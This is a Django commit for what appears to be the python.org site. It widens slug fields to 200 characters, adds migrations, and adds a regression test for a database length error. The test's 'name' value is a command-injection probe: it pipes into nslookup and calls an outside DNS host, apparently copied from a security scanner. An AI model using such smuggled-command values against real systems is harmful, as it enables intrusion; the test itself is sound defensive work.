Match max_length values of name and slug fields

The default value of SlugField.max_length is 50.

This commit fixes the following exception:

    DataError: value too long for type character varying(50)

See test_slug_field_max_length for more details.

Sentry issue number: PYDOTORG-PROD-23

Author: berkerpeksag

cms/models.py

@@ -52,7 +52,7 @@ class Meta:
 
 class NameSlugModel(models.Model):
     name = models.CharField(max_length=200)
-    slug = models.SlugField(unique=True)
+    slug = models.SlugField(max_length=200, unique=True)
 
     class Meta:
         abstract = True

companies/migrations/0005_auto_20180705_0352.py

@@ -0,0 +1,18 @@
+# Generated by Django 2.0.6 on 2018-07-05 03:52
+
+from django.db import migrations, models
+
+
+class Migration(migrations.Migration):
+
+    dependencies = [
+        ('companies', '0004_auto_20170821_2000'),
+    ]
+
+    operations = [
+        migrations.AlterField(
+            model_name='company',
+            name='slug',
+            field=models.SlugField(max_length=200, unique=True),
+        ),
+    ]

downloads/migrations/0006_auto_20180705_0352.py

@@ -0,0 +1,28 @@
+# Generated by Django 2.0.6 on 2018-07-05 03:52
+
+from django.db import migrations, models
+
+
+class Migration(migrations.Migration):
+
+    dependencies = [
+        ('downloads', '0005_move_release_page_content'),
+    ]
+
+    operations = [
+        migrations.AlterField(
+            model_name='os',
+            name='slug',
+            field=models.SlugField(max_length=200, unique=True),
+        ),
+        migrations.AlterField(
+            model_name='release',
+            name='slug',
+            field=models.SlugField(max_length=200, unique=True),
+        ),
+        migrations.AlterField(
+            model_name='releasefile',
+            name='slug',
+            field=models.SlugField(max_length=200, unique=True),
+        ),
+    ]

events/migrations/0007_auto_20180705_0352.py

@@ -0,0 +1,18 @@
+# Generated by Django 2.0.6 on 2018-07-05 03:52
+
+from django.db import migrations, models
+
+
+class Migration(migrations.Migration):
+
+    dependencies = [
+        ('events', '0006_change_end_date_for_occurring_rules'),
+    ]
+
+    operations = [
+        migrations.AlterField(
+            model_name='eventcategory',
+            name='slug',
+            field=models.SlugField(max_length=200, unique=True),
+        ),
+    ]

jobs/migrations/0018_auto_20180705_0352.py

@@ -0,0 +1,23 @@
+# Generated by Django 2.0.6 on 2018-07-05 03:52
+
+from django.db import migrations, models
+
+
+class Migration(migrations.Migration):
+
+    dependencies = [
+        ('jobs', '0017_auto_20180705_0348'),
+    ]
+
+    operations = [
+        migrations.AlterField(
+            model_name='jobcategory',
+            name='slug',
+            field=models.SlugField(max_length=200, unique=True),
+        ),
+        migrations.AlterField(
+            model_name='jobtype',
+            name='slug',
+            field=models.SlugField(max_length=200, unique=True),
+        ),
+    ]

successstories/migrations/0009_auto_20180705_0352.py

@@ -0,0 +1,23 @@
+# Generated by Django 2.0.6 on 2018-07-05 03:52
+
+from django.db import migrations, models
+
+
+class Migration(migrations.Migration):
+
+    dependencies = [
+        ('successstories', '0008_auto_20170821_2000'),
+    ]
+
+    operations = [
+        migrations.AlterField(
+            model_name='story',
+            name='slug',
+            field=models.SlugField(max_length=200, unique=True),
+        ),
+        migrations.AlterField(
+            model_name='storycategory',
+            name='slug',
+            field=models.SlugField(max_length=200, unique=True),
+        ),
+    ]

successstories/tests/test_views.py

@@ -175,3 +175,27 @@ def test_story_duplicate_slug(self):
         response = self.client.post(url, post_data)
         self.assertEqual(response.status_code, 200)
         self.assertContains(response, 'Please use a unique name.')
+
+    def test_slug_field_max_length(self):
+        # name and slug fields come from NameSlugModel and their max_length
+        # attributes weren't equal. Default value of SlugField.max_length is
+        # 50 and since we set CharField.max_length to 200, we have to update
+        # SlugField.max_length as well. This was found by Netsparker and
+        # recorded by Sentry. See PYDOTORG-PROD-23 for details.
+        url = reverse('success_story_create')
+
+        post_data = {
+            'name': '|nslookup${IFS}"vprlkb-tutkaenivhxr1i4bxrdosuteo8wh4mb2r""cys.r87.me"',
+            'company_name': 'Company Three',
+            'company_url': 'http://djangopony.com/',
+            'category': self.category.pk,
+            'author': 'Kevin Arnold',
+            'author_email': '[email protected]',
+            'pull_quote': 'Liver!',
+            'content': 'Growing up is never easy.\n\nFoo bar baz.\n',
+            settings.HONEYPOT_FIELD_NAME: settings.HONEYPOT_VALUE,
+        }
+
+        response = self.client.post(url, post_data)
+        self.assertEqual(response.status_code, 302)
+        self.assertRedirects(response, url)

work_groups/migrations/0004_auto_20180705_0352.py

@@ -0,0 +1,18 @@
+# Generated by Django 2.0.6 on 2018-07-05 03:52
+
+from django.db import migrations, models
+
+
+class Migration(migrations.Migration):
+
+    dependencies = [
+        ('work_groups', '0003_auto_20170821_2000'),
+    ]
+
+    operations = [
+        migrations.AlterField(
+            model_name='workgroup',
+            name='slug',
+            field=models.SlugField(max_length=200, unique=True),
+        ),
+    ]